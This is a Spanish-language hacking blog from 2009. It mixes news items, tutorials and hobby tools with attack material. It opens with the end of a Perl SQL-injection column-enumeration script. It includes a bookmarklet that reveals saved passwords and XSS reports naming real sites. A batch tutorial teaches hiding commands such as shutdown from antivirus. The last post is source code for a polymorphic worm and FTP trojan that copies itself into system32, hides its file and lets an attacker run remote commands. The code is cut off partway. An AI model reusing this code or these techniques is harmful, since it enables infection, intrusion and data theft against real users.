while ($count <= $max) {  $columnator = LWP::UserAgent->new() or die;
$columns = $vulnerabilidad->get($target."-1+union+select+0x78617373697a".$inject."--");

if ($columns->content =~ /xassiz/)
{
print("\n [+] La website tiene $count columnas \n\n\a");
exit 1;
}

$inject = $inject.",0x78617373697a";
$count ++;
}

print("\n [-] No se encontro el numero de columnas \n\n\a");
exit 1;

} else {

print("\n [-] Objetivo No Vulnerable \n\n\a");

exit 1;

}

#Autor = xassiz;
#Blog  = xassiz.blogspot.com;

Espero que os guste amigos! Saludos

Los diez hackers más famosos del mundo

2009-12-02T13:09:00.000-08:00

Los hombres más peligrosos de la Red. Una lista con los diez nombres de los hackers más famosos del mundo ha sido elaborada por el periódico británico 'The Telegraph' . Algunos han hecho colapsar miles y miles de servidores, otros han fabricado míticos virus con los que infectaron millones de carpetas de usuarios de todo el planeta. La lista la encabeza el hacker más famoso de su generación, Kevin Mitnick, que después de cumplir cinco años de prisión asesora a las empresas de informática en el sector de la seguridad.

El Departamente de Justicia de EEUU describe a Mitnick como el "criminal más buscado de la historia de Estados Unidos y aunque parezca una exageración su curriculum es amplio en actos vandálicos en Internet.

Mitnick atentó contra sistemas informáticos de empresas como Nokia, Fujitsu y Motorola. Fue arrestado en 1995 y tras su confesión llegó a un acuerdo para cumplir prisión durante cinco años.

(Mitnik, el primero de izq a derecha, seguido por Kevin Poulson, Robert Tappan Morris,Stephen Wozniak y David L Smith, creador del virus Melissa)
En el año 2000 salió en libertad bajo palabra y desde entonces no habla de su pasado en el hampa virtual y se dedica a la consultoría como asesor de seguridad informática.

El segundo de estos ciberdelincuentes con fama de altruistas es Kevin Poulson, que ganó su fama tras bloquear las líneas telefónicas de la estación de radio Kiss-FM de Los Angeles y ganar el premio del concurso radial que era un Porsche.

Los investigadores se pusieron tras la pista de Poulson, después de que este 'hackeara' una base de datos del FBI. No pudieron pillarlo y en los programas de televisión aparece como fugitivo de misterios sin resolver. Ahora se dedica al periodismo.

Adrian Lamo, más conocido como el 'hacker sintecho', actuaba desde bares, locutorios e internet cafés. Su mayor heroicidad fue introducirse en la intranet del New York Times y agregar su nombre a una lista de expertos del periódico.

Como si fuera una profesión recurrente, Lamos ha terminado trabajando como periodista.

Stephen Wozniak, también estadounidense, también un cincuentón que durante sus años de universitario se dedicó al 'hackeo' de las líneas telefónicas que le permitía a él a sus amigos hacer llamadas de larga distancia sin pagar.

De ahí su prestigio y su fama en el mundo de los hackers. Terminó fundando la compañía Apple junto a Steve Jobs.

Loyd Blankenship, más conocido como 'El Mentor', era miembro del grupo hacker 'Legion of Doom', que se enfrentaba a Masters of Deception. Es el autor del manifiesto hacker -La conciencia de un hacker- que escribió luego de ser detenido en 1986, y del código para el juego del rol Ciberpunk. Ahora se dedica a la programación de videojuegos.

Michael Calce se ubica en el sexto puesto de la lista y se dedicaba a dejar fuera de servicio los portales de compra-venta más grandes del mundo.

Eso fue lo que hizo en el 2000 con eBay, Amazon y Yahoo que sufrieron sus ataques. Fue atrapado y condenado a uso limitado de Internet.

Robert Tappan Morris creó un virus informático en noviembre de 1988 con el que inutilizó unos 6.000 ordenadores de la empresa UNIX y provocó daños por millones de dólares. Fue uno de los primeros virus de ese tipo.

Pero tras cumplir tres años de llibertad condicional y cientos de horas de trabajo a la comunidad dejó el mundo marginal para dedicarse a la enseñanza universitaria.

El octavo puesto de la lista lo ocupa un grupo no identificado que se conocen con el nombre de 'Masters of deception'. Viven en Nueva York y se especializaron en 'hackear' el sistema telefónico de EEUU en los años 80.

El grupo actualmente está desarticulado después de que varios de sus miembros fueran arrestados y tuvieran que cumplir sentencias de cárcel.

El penúltimo puesto es para David L. Smith, del que mucho conocerán por el virus Melissa, su maligna creación. Fue el primer virus creado para infectaro correos electrónicos.

Smith fue arrestado y cumplió sentencia por causar daños por valor de 80 millones de dólares.

Cierra la lista, Sven Jaschan, que en 2004 cuando era todavía un adolescente creó el virus Sasser, que afectaba directamente a los ordenadores con sistema Windows. Sus vecinos lo delataron para conseguir la recompensa de Microsoft.

:P

Saludos ;)

[Noticia] El término “hackers” excluido del derecho penal español

2009-11-30T06:17:00.000-08:00

El nuevo proyecto de código penal español que preparan en el Ministerio de Justicia excluye el término “hackers” del texto. Una rectificación que hace justicia al tradicionalmente experto en seguridad informática o “persona que disfruta de un conocimiento profundo del funcionamiento interno de un sistema, en particular de computadoras y redes informáticas”, confundido errónea y comúnmente como el criminal informático por excelencia.

La noticia, difundida desde el Bufet Almeida hará justicia a la injusticia, para unos tipos que generalmente aportan seguridad a la inseguridad de ordenadores y redes y/o mejoras a sistemas y aplicaciones poniéndolas a disposición del dominio público.

Un término confundido desde medios –especialmente generalistas- y gran público con los “crackers” y también por el legislador, que hasta ahora lo crucifica como el delincuente informático que expresa nuestro código penal actual.

Como dicen desde el Bufet Almeida “algo habrán aprendido sobre Internet los nuevos inquilinos del Ministerio de Justicia”. El hacker no será ya por defecto, sinónimo de un delincuente.

Fuente: theinquirer.es

Ahora esperemos a que esto se alargue a otros países de Latino América :)

Saludos!! :D

[Firefox] Como saber que hay bajo los asteriscos

2009-11-28T05:13:00.000-08:00

Pues cuando hay una pagina con contraseñas, y aparecen ocultas bajo asteriscos, con este tip podemos averiguarlas al momento.

Solo tenemos que ejecutar un codigo javascript en la direccion, y nos saltará automaticamente un alert con el contenido de la pass :)

El codigo es este:

     javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Contraseñas:\n\n" + s); else alert("No hay contraseñas en esta página.");})();

Esto tambien sirve a veces para defacing ;P

bytez!

Hackeando con Google

2009-11-15T07:57:00.001-08:00

Hackeando con Google

Bueno, os dejo un buen artículo para aprender a usar Google como herramienta de ataque:

Espero que os guste!

bye

[Bug] XSS en www.crtvg.es

2009-11-06T15:20:00.000-08:00

Bueno, pues aqui va otro descubrimiento de hoy!

Un XSS en crtvg.es, una radio y television importante en Galicia.

http://www.crtvg.es/TVGacarta/index.asp

Esta vulnerabilidad permite ejecutar código (posiblemente malicioso) en el buscador.

El bug ha sido reportado!

[Bug] XSS en www.antena3.com

2009-11-06T13:35:00.000-08:00

Bueno, hoy mirando webs con HaX991 encontré una vulnerabilidad XSS en el buscador de antena3.com

http://www.antena3.com/PortalA3com/busqueda

En el buscador inyectan código javascript y este es ejecutado.

El bug ya ha sido reportado!!

[Tool] TextToASCII

2009-10-20T10:11:00.000-07:00

Bueno, esta está en Batch.

Podeis copiar el code de aquí, que es bastante largo..

Pide un string
Lo convierte en ASCII
Da la opcion de copiar el resultado al portapapeles

Dudas, sugerencias, criticas..

bytez!

"Encriptacion y crackmes en Batch" - by xassi

2009-10-18T05:35:00.000-07:00

"Encriptacion y crackmes en Batch desde 0"

by xassiz

>INDICE:

1.Introduccion
2.Usando Variables
3.Extraccion de Caracteres
4.Reemplazo de Caracteres
5.Parametros
6.Despedida

1. Introduccion

Bueno, en este tutorial explicare cosas sobre la encriptacion en Batch.

Codificando nuestros codes, haremos que sea mas dificil la lectura a otras personas por ejemplo para que no nos copien.

Sirve para muchas cosas por ejemplo para encriptar una contraseña dentro del .bat que no queremos que descubran dandole
a editar, un virus para que el antivirus no lo detecte tan facilmente...
y por supuesto para hacer crackmes.

2. Usando variables

Para empezar veremos que ya se hace mas dificil leer un bat si escondemos palabras o incluso
comandos en variables:

@echo off
set cls=echo
set adios=hola
set exit=pause
%cls%.%adios%
%exit%
exit

que seria lo mismo que:

@echo off
echo.hola
pause
exit

En un virus podriamos "setear" (del comando set) estas variables:

set a=s
set b=h
set c=u
set d=t
set e=d
set f=o
set g=w
set h=n

y escribir:

%a%%b%%c%%d%%e%%f%%g%%h% -s

para que se apagase el ordenador.

Para disimular aun mas podemos por ejemplo crear varias variables para el mismo comando o valor, como en el ejemplo anterior.

@echo off
set pau=pau
set se=se
%pau%%se%
exit

Por ejemplo tenemos un bat con contraseña:

@echo off
set/p pass="Password: "
if %pass%==xassiz (echo.Bien) else (echo.Mal)
pause>nul
exit

..y en este se veria claramente que la password es "xassiz".

Si lo pusieramos asi, seria mas dificil:

@echo off
set abc=siz
set cba=xas
set/p pass="Password: "
if "%pass%"=="%cba%%abc%" (echo.Bien) else (echo.Mal)
pause>nul
exit

Y si pusieramos asi, aun seria mucho mas dificil:

@echo off
set alg=xzsasi
set/p pass="Password: "
if "%pass%"=="%alg:~0,1%%alg:~3,1%%alg:~2,1%%alg:~4,1%%alg:~-1%%alg:~1,1%" (echo.Bien) else (echo.Mal)
pause>nul
exit

Este ultimo ejemplo es normal que no lo entendais, es algo mas avanzado que veremos en el siguiente capitulo: La extraccion de caracteres.

3. Extraccion de caracteres

Bueno, esta tecnica, como su nombre indica, es extrayendo caracteres de una variable.

Su sintaxis es sencilla:

%nombre_variable:~caracteres_desechados,caracteres_cogidos%

Si no lo entiendes ahora, no te preocupes, con unos ejemplos todo se arregla:

@echo off
set opc=zzholazz
echo.%opc:~2,4%
::y mostraria "hola"
pause>nul
exit

% = Los dos por cientos indican que es una variable
: = Indican que vamos a trabajar con dicha variable
~ = Indican que la tecnica va ser por extraccion
nombre_variable = opc
caracteres_desechados = 2 (los dos primeros caracteres son zz por lo que no los queremos y los quitamos)
caracteres_cogidos = 4 (los cuatro siguiente caracteres son los que queremos utilizar)

Los verdes son los campos reemplazables

Bien, pues veremos algunos ejemplos rapidos por encima:

@echo off
set alg=jajaHackjajBlackjaj
echo.%alg:~4,4%%alg:~11,5%
pause>nul
exit

Que mostraria HackBlack

@echo off
set alg=jajaHackrBlack
echo.%alg:~4,4%%alg:~9%
pause>nul
exit

Que mostraria lo mismo que el anterior. Aqui vemos que la variable alg no acaba en j, por lo que lo que queremos coger llegaria hasta el final. En la extraccion ponemos ~9, pero como no hay ninguna coma separando algun otro digito, tomaria todos los caracteres apartir del caracter numero 10.

@echo off
set alg=jajaHackBlackj
echo.%alg:~-10,9%
pause>nul
exit

En esta extraccion, vemos que la variable alg tiene el valor jajaHackBlackj; entonces en este caso utilicé una extraccion con valor negativo: -10.
Esto empezaria a contar por el final diez carácteres hasta llegar a la H. A partir de ahi cogeria los 9 siguientes hacia delante porque no queremos que coja la j.

@echo off
set alg=jajaHackBlack
echo.%alg:~-9%
pause>nul
exit

Este es como hace dos ejemplos, pero ahora con valores negativos. Vemos que elimine la j del valor de la variable!
Entonces, contamos 9 hacia atras y llegamos a la H; como no hay coma separando otro digito coge hasta el final y muestra HackBlack.

@echo off
set alg=jajaHackBlackj
echo.%alg:~-10,-1%
pause>nul
exit

Ahora le volvimos a cambiar el valor de alg a jajaHackBlackj. En este caso ves que podemos combinar valores negativos en la extraccion -10,-1, que seguiria mostrando HackBlack porque coge desde la H (-12) hasta la k (-1).

Inventandonos ejemplos veremos cosas utiles que podemos hacer... ahora podemos hacer el programa de la Password usando la Extraccion de Caracteres:

@echo off
set alg=xzsasi
set/p pass="Password: "
if "%pass%"=="%alg:~0,1%%alg:~3,1%%alg:~2,1%%alg:~4,1%%alg:~-1%%alg:~1,1%" (echo.Bien) else (echo.Mal)
pause>nul
exit

Este era el ultimo ejemplo del programa, que supongo que ahora ya entenderas.

4. Reemplazo de caracteres

Bueno, esta es una tecnica usada mas bien para otro tipo de cosas, pero puede utilizarse tambien para encriptacion.

La sintaxis es parecida a la extraccion pero es mas facil de entender:

%nombre_variable:caracter_reemplazador=caracter_reemplazado%

@echo off
set alg=H4ckBl4ck
echo.De %alg% a %alg:4=a%
pause>nul
exit

Muestra primero la variable alg (H4ckBl4ck) y luego muestra la misma variable pero los cuatros que aparecian se convirtieron en as (HackBlack).

% = Los dos por cientos indican que es una variable
: = Indican que vamos a trabajar con dicha variable
caracter_reemplazador = 4 (cambiamos los cuatros..)
= = Indica que se va a reemplazar
caracter_reemplazado = a (..por as)

Los verdes son los campos reemplazables

Bueno, con esta tecnica se juega mas cambiando el valor de la variable, por ejemplo que la variable alg de valor H4ckBl4ck se quede HackBlack (aunque no la mostremos).

Cambiando la variable (o creando otra) podemos cambiar varios caracteres, como veremos en el siguiente ejemplo:

@echo off
set alg=x4ss1z
set alg2=%alg:4=a%
set alg2=%alg2:1=i%
echo.De %alg% a %alg2%
pause>nul
exit

Que mostraria primero x4ss1z y despues xassiz.

Con esto podriamos crear un "encriptador":

@echo off
set/p palabra="Palabra>> "
set alg=%palabra:x=123%
set alg=%alg:a=234%
set alg=%alg:s=345%
set alg=%alg:i=456%
set alg=%alg:z=567%
cls
echo."%palabra%" encriptado =  %alg%
pause>nul
exit

Que si en donde nos pide la palabra escribimos xassiz, nos devolveria:

"xassiz" encriptado = 123234345345456567

El programa de la contraseña podriamos hacerlo asi:

@echo off
set alg=xzsasi
set alg=%alg:a=4%
set alg=%alg:i=1%
set/p pass="Password: "
if "%pass%"=="%alg:~0,1%%alg:~3,1%%alg:~2,1%%alg:~4,1%%alg:~-1%%alg:~1,1%" (echo.Bien) else (echo.Mal)
pause>nul
exit

Que para que nos diera correcto tendriamos que cambiar las a por 4 y las i por 1:

Password: x4ss1z
Bien

5. Parametros

Bueno, esto se utiliza mas bien para las llamadas Funciones, pero tambien se utiliza bastante en los virus para ahorrar lineas, o tambien en los crackmes!

Vamos a poner un ejemplo sencillito para ver como se utilizan:

@echo off
set/p palab="Palabra>> "
call :alg %palab%
echo."%palab%" encriptado = %par%
pause>nul
exit
:alg
set par=%1
set alg=%par:x=123%
set alg=%alg:a=234%
set alg=%alg:s=345%
set alg=%alg:i=456%
set alg=%alg:z=567%
goto:eof

Que seria exactamente igual que el encriptador de antes. La gente que no sepa usar parametros le va ser imposible de sacar y a la que los sabe utilizar le va ser mas complicado que de la otra manera, pero mas adelante veremos un ejemplo mejor.

Analizando el codigo vemos lo que pasa:
-Primero preguntamos el valor de la variable %palab%.
-Ahora llamamos a la etiqueta :alg con call pasandole como primer parametro la palabra que escribiera el user:

call :alg %palab%

Hasta ahi sencillo no? Pues ahora llegan los parametros.
-Seteamos la variable par como %1. Eso es un parametro, el parametro 1. Los parametros son numeros, en este caso es el primer parametro. Es como una variable, cual sera su valor? pues lo que vaya despues de call+:etiqueta, que en este caso es otra variable, %palab%.
Entonces si el user escribiera xassiz seria como si hiciesemos:

set par=xassiz

A partir de ahi se van reemplazando los caracteres.. hacemos un goto:eof para salir de la etiqueta y el programa vuelve a la linea siguiente al call.

Pondre un ejemplo mas facil:

@echo off
call :alg en Registrate Www.HackBlack.neT
pause>nul
exit
:alg
echo.%2 %1 %3

Que mostraria "Registrate en Www.HackBlack.neT".
- Porque no mostraria "en Registrate Www.HackBlack.neT"?
- Facil. Cuando usamos los parametros no ponemos:

echo.%1 %2 %3

sino que ponemos:

%2 %1 %3

ordenando las palabras.

Tambien te preguntaras por que no puse goto:eof para salir de la etiqueta.. pues es solo para demostrar una curiosidad, que es que si cuando se acaba la etiqueta no hay mas codigo delante, no haría falta ponerlo. Por lo que si el code fuera asi no valdria:

@echo off
call :alg en Registrate Www.HackBlack.neT
pause>nul
exit
:alg
echo.%2 %1 %3
:nada
cls
echo.Esto se vera porque el code sigue despues de la etiqueta :alg
pause>nul
exit

Ahora os mostrare el programa de contraseña mezclando todo lo que vimos hasta aqui en el tutorial:

@echo off
set echo=set alg2
set alg=xassiz
set/p pass="Password: "
call :alg %alg%
if "%pass%"=="%alg2%" (echo.Bien) else (echo.Mal)
pause>nul
exit
:alg
%echo%=%1
%echo%=%alg2:a=4%
%echo%=%alg2:i=1%

La contraseña es x4ss1z, que si seguiste el tutorial supongo que sabrias ^^

6. Despedida

Despues de todo este rollo espero que aprendierais.. xD

O sino a leerlo otra vez! Para que os quede probad los codes y cread los vuestros =P

Espero que os gustara..

Saludos!

ATENCION: si vas a copiar este tutorial menciona autor (xassiz) y fuente (Www.HackBlack.neT), y no lo modifiques

XSendMails - by xassiz

2009-10-10T10:44:00.000-07:00

XSendMails - by xassiz

Bueno, hoy os traigo esta aplicación que hice en VB6, con la cual pueden mandar correos.

Espero que os guste:

Descargar Aplicación

Descargar Proyecto

Password: xassiz

YouTube: tres años con Google, 1.000 millones de videos diario

2009-10-10T10:42:00.000-07:00

YouTube celebra el tercer cumpleaños bajo el manto del gigante de Internet, incluyendo en su logotipo una reseña a los más de 1.000 millones de videos servidos de media diariamente. Además, el portal de videos es ya la segunda página web mundial por accesos, sólo superado por “papa” Google.

Se cumplen tres años tras la adquisición de YouTube - por la que Google desembolsó 1.650 millones de dólares- en medio del debate de si la cantidad pagada fue excesiva. Quizá sí, aunque el éxito del portal de videos es indudable y muestra de ello son los 1.000 millones de videos que se reproducen de media diaria en YouTube, con picos todavía más elevados en los últimos meses.

Chad Hurley, CEO y Co-fundador de la plataforma aprovechó el aniversario para subrayar que el aumento de uso del portal se debe a los avances de la banda ancha que han permitido conexiones más veloces y una reproducción en streaming sin interrupciones.

No obstante, Hurley explicó que a pesar de “seguir comprometidos con los mismos principios desde su creación, saben que las cosas han cambiado”, en referencia principalmente a la introducción de películas y series en YouTube.

Fuente: theinquirer.es

Bug en el comando set de batch

2009-10-01T09:25:00.000-07:00

Descubierto por 0x0309:

Yo había leído en un sitio que para asignar con el comando set es lo mismo:
set "variable=valor"
que
(set variable=valor)
Sin embargo, he encontrado un bug de cmd.exe.

Cuando cmd.exe reconoce una sola comilla dentro de paréntesis termina el archivo por lotes.

Por eso si se hace:
(")
el archivo por lotes termina.

Por eso si tenemos el siguiene código:

test.cmd
@echo off
(set var=%1)
echo.El texto se muestra.
y ejecutamos:
test.cmd "
el texto no se muestra porque el archivo por lotes concluyó antes por el bug.

Pero si hacemos:

test.cmd
@echo off
set "var=%1"
echo.El texto se muestra.
el texto si es mostrado.

Entonces no es lo mismo:
(set variable=valor)
que contiene el bug.

que:
set "variable=valor"

[bat][vbs][deb] Batch Paint

2009-09-29T07:51:00.000-07:00

Quien dijo que no se podia pintar en Batch?? :S


@Echo Off
@title Batch Paint
@Mode Con cols=80 lines=25
Setlocal Enabledelayedexpansion

::A Program by S.C.O.T 2009
::Script Coders Oriented Team
::SmartGenius & 3D1

:Init
Cls
If Not Exist Col.vbs (Call :Col_Deb >>Col.vbs)
Set "X=0"
Set "Y=0"
Set "Color=11"
Set "Pincel=Û"
Call :Load

:Table
If "!X!-!Y!"=="43-2" (Exit)
For /l %%s in (33,1,39) do (If "!X!-!Y!"=="%%s-2" (Goto :Save))
If "!X!-!Y!"=="22-2" (Set "Pincel=°")
If "!X!-!Y!"=="24-2" (Set "Pincel=±")
If "!X!-!Y!"=="26-2" (Set "Pincel=²")
If "!X!-!Y!"=="28-2" (Set "Pincel=Û")
If "!X!-!Y!"=="3-4" (Set "Color=01")
If "!X!-!Y!"=="5-4" (Set "Color=02")
If "!X!-!Y!"=="7-4" (Set "Color=03")
If "!X!-!Y!"=="3-6" (Set "Color=04")
If "!X!-!Y!"=="5-6" (Set "Color=05")
If "!X!-!Y!"=="7-6" (Set "Color=06")
If "!X!-!Y!"=="3-8" (Set "Color=07")
If "!X!-!Y!"=="5-8" (Set "Color=08")
If "!X!-!Y!"=="7-8" (Set "Color=09")
If "!X!-!Y!"=="3-10" (Set "Color=0A")
If "!X!-!Y!"=="5-10" (Set "Color=0B")
If "!X!-!Y!"=="7-10" (Set "Color=0C")
If "!X!-!Y!"=="3-12" (Set "Color=0D")
If "!X!-!Y!"=="5-12" (Set "Color=0E")
If "!X!-!Y!"=="7-12" (Set "Color=0F")
If !X! GEQ 12 (
If !Y! GEQ 5 (
If !X! LEQ 41 (
If !Y! LEQ 15 (
cscript //nologo col.vbs "!X!" "!Y!" "%Color%" "%Pincel%"
Set /a "vX=!X!-12"
Set /a "vY=!Y!-5"
Set "X!vX!Y!vY!=!vX! !vY! %Color% %Pincel%"
))))
Call :Mouse
Goto :Table

:Load
Echo.
Echo. ÚÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÂÄ¿
Echo. ³Colores³ Pinceles   ° ± ² Û   ³Guardar³ ³X³
Echo. ³ÚÄÂÄÂÄ¿ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÁÄ´
Echo. ³³Û³Û³Û³³ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³
Echo. ³ÃÄÅÄÅÄ´³ º                              º ³
Echo. ³³Û³Û³Û³³ º                              º ³
Echo. ³ÃÄÅÄÅÄ´³ º                              º ³
Echo. ³³Û³Û³Û³³ º                              º ³
Echo. ³ÃÄÅÄÅÄ´³ º                              º ³
Echo. ³³Û³Û³Û³³ º                              º ³
Echo. ³ÃÄÅÄÅÄ´³ º                              º ³
Echo. ³³Û³Û³Û³³ º                              º ³
Echo. ³ÀÄÁÄÁÄÙ³ º                              º ³
Echo. ÃÄÄÄÄÄÄÄ´ º                              º ³
Echo. ³ SCOT  ³ º                              º ³
Echo. ³  Team ³ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼ ³
Echo. ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
cscript //nologo col.vbs "3" "4" "11" " "
cscript //nologo col.vbs "5" "4" "22" " "
cscript //nologo col.vbs "7" "4" "33" " "
cscript //nologo col.vbs "3" "6" "44" " "
cscript //nologo col.vbs "5" "6" "55" " "
cscript //nologo col.vbs "7" "6" "66" " "
cscript //nologo col.vbs "3" "8" "77" " "
cscript //nologo col.vbs "5" "8" "88" " "
cscript //nologo col.vbs "7" "8" "99" " "
cscript //nologo col.vbs "3" "10" "AA" " "
cscript //nologo col.vbs "5" "10" "BB" " "
cscript //nologo col.vbs "7" "10" "CC" " "
cscript //nologo col.vbs "3" "12" "DD" " "
cscript //nologo col.vbs "5" "12" "EE" " "
cscript //nologo col.vbs "7" "12" "FF" " "
Goto :Eof

:Mouse
Echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3>mouse.dat
For %%! in (.g116 .q) do (Echo%%!>> mouse.dat)
For /f "tokens=6-8 delims== " %%a in ('Debug ^< x="0x%%a" y="0x%%c" v="  Introduzca">> ">%Filename%
For /l %%a in (0,1,29) do (
For /l %%b in (0,1,11) do (
If Defined X%%aY%%b (Echo.Cscript //nologo col.vbs !X%%aY%%b! >>%Filename%)
))
Echo.Pause^>nul >>%Filename%
Echo.>>%Filename%
Call :Col_Deb Echo. "^">>%Filename%
Echo.
Echo. Archivo %Filename% Generado Exitosamente
Ren %Filename% %Filename%.bat >nul
Echo.
Set /p "V=  Presione Cualquier tecla para volver...."nul
Goto :Init

:Template
Echo. @Echo off
Echo. @Title Paint Batch - %Filename%
Echo. @Mode Con Cols=80 Lines=25
Echo. @::Hecho Con Batch Paint
Echo. @::S.C.O.T Team 2009
Echo.If Not Exist Col.vbs Call :Col ^>^>col.vbs
Echo.:Draw
Goto :Eof

:Col_Deb
%1:Col
%1Echo.On Error Resume Next
%1Echo.HexColor = Right("0" %~2^& wscript.arguments(2), 2)
%1Echo.Set oExec = CreateObject("WScript.Shell").Exec("%comspec% /c debug ")
%1Echo.
%1Echo.Do Until oExec.StdOut.Read(1) = "-"
%1Echo.  wsh.sleep 10
%1Echo.Loop
%1Echo.
%1Echo.Dim Textos
%1Echo.Textos = Replace(wscript.arguments(3), Chr(195), "Û")
%1Echo.WriteXY wscript.arguments(0), wscript.arguments(1), HexColor, Textos
%1Echo.
%1Echo.oExec.StdIn.Writeline "e0:451 2A"
%1Echo.oExec.StdIn.Writeline "q"
%1Echo.
%1Echo.Sub WriteXY(X, Y, hColor, sText)
%1Echo.Dim ColorText
%1Echo.  For j = 1 to Len(sText) Step 10
%1Echo.    ColorText = "EB800:" %~2^& Hex(Y * 160 + (X + j - 1) * 2)
%1Echo.    For i = j to j + 9
%1Echo.      ColorText = ColorText %~2^& " " %~2^& Hex(Asc(Mid(sText, i, 1))) %~2^& " " %~2^& hColor
%1Echo.      if i = Len(sText) Then Exit For
%1Echo.    Next
%1Echo.    oExec.StdIn.Writeline ColorText
%1Echo.  Next
%1Echo.End Sub
%1Attrib +H Col.vbs
%1Goto :Eof
Goto :Eof

[Aplicacion] ASCIIC - by xassiz

2009-09-28T12:01:00.000-07:00

ASCIIC - by xassiz

Bueno, os dejo esta aplicacion que acabo de programar en VBScript xDD

Pasa una cadena a ASCII y además tiene la opción de copiar el resultado al portapapeles.. =)

Esta perfecto para convertir las tablas en una inyección SQL.

Descarga Aqui

Pass: xassiz09

Espero que os guste =D

bytes!

[Troyano Parasitario] 1l1l3l5.a

2009-09-28T11:50:00.000-07:00

Bueno, como sabeis, Batch No tiene Limites!!

Ejecutando comandos remotamente:
El troyano al infectar una maquina envia al servidor FTP un archivo del formato:
%username%at%userdomain%_ipcfg.t
conteniendo la salida del comando 'ipconfig/all'.
Para ejecutar un comando el esa PC basta con crear un archivo del formato:
%username%at%userdomain%_cmd.t
conteniendo el/los comandos a ejecutar, si se ejecuto correctamente, el archivo "%username%at%userdomain%_cmd.t" sera eliminado automaticamente del servidor.


:: 1l1l3l5.a // lil %ini%
:: Autor: lShadowl %ini%
:: SO Objetivo/Target OS: Windows Xp Pro %ini%
:: Propagation: P2P/rar, flash drives (it stay resident looking for new drives to infect) %ini%
:: Propagacion: P2P/rar, flash drives (queda residente en la memoria esperando que nuevos dispositivos se conecten para infectarlos) %ini%
:: Polimorfism: translocation, string morphing, 90-180 bytes added per every run %ini%
:: Polimorfismo: translocacion de codigo, mutacion de cadenas, 90-180 bytes mas cada ves que es ejecutado  %ini%
:: Payload: Drops a FTP troyan that allows attacker to execute remote commands and scripts  %ini%
:: Payload: Carga un troyano que le permite al atacante ejecutar comandos y scripts de manera remota via FTP %ini%
:: Fecha de creacion/Realese Date: 24/9/09 %ini%
:: Disclaimer: %ini%
::  This script contains malicious code. %ini%
::  Possessing, using, spreading, compiling and linking it, possessing, using and spreading %ini%
::  of the executable form of this script is illegal and it is forbidden in many countries. %ini%
::  Should you do such a thing, the author may not be held responsible for any damage that %ini%
::  occurred from the use of this source code. The actual purpose of this source code is for %ini%
::  educational purposes and as an object of study. This source code comes as is and the author %ini%
::  can not be held responsible for the existence of other modified variants of this code. %ini%
@%systemdrive% %ini%
@set sdjf=fictsoehnda %ini%
@set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
@%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
@%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
@%agnvl%mys=%windir%\system32\sysio\lil.bat %ini%
@%egnkv%off %ini%
%agnvl: =%local enabledelayedexpansion %ini%
@md %windir%\system32\sysio >nul %ini%
if not exist %mys% ( @copy /y %0 %mys% >nul %ini%
attrib +h %mys%) %ini%
call:_%1 %2 %ini%
exit %ini%
:_ %ini%
call:_h432crt perp %ini%
exit %ini%
:_mut %ini%
%fsdhf%"ini"<%mys%>%windir%\system32\sysio\$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"<%windir%\system32\sysio\$>nul&&(goto:tst) %ini%
%fsdhf%"m%r: =%"<%mys%>>%windir%\system32\sysio\$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
%egnkv%::%rdnmm% %%m%r: =%%%>>%windir%\system32\sysio\$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call:cmp %%a %ini%
%egnkv%%a%|%fsdhf: =%str /C:"o" >nul&&(goto:rnd_b) %ini%
attrib -h %mys% %ini%
type %windir%\system32\sysio\$>%mys% %ini%
ping -n 2 localhost>nul %ini%
attrib +h %mys% %ini%
del /f /q %windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%%agnvl%dfjalds=createobject("scripting.filesystemobject")>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%%agnvl%kdflekj=dfjalds.opentextfile("%mys%",1)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%askdajs=kdflekj.readall>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%kdflekj.close>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%Randomize>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%ahqiaohe=chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%jdfasuu=chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%dwudhqw=chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%asdwdkw=chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)^&chr(int(22*rnd)+97)>>%windir%\system32\sysio\asjdhau.vbs %ini%
%egnkv%sjdfhjs=Replace(askdajs,"sdjf",ahqiaohe)>>%windir%\system32\sysio\asjdhau.vbs %ini%
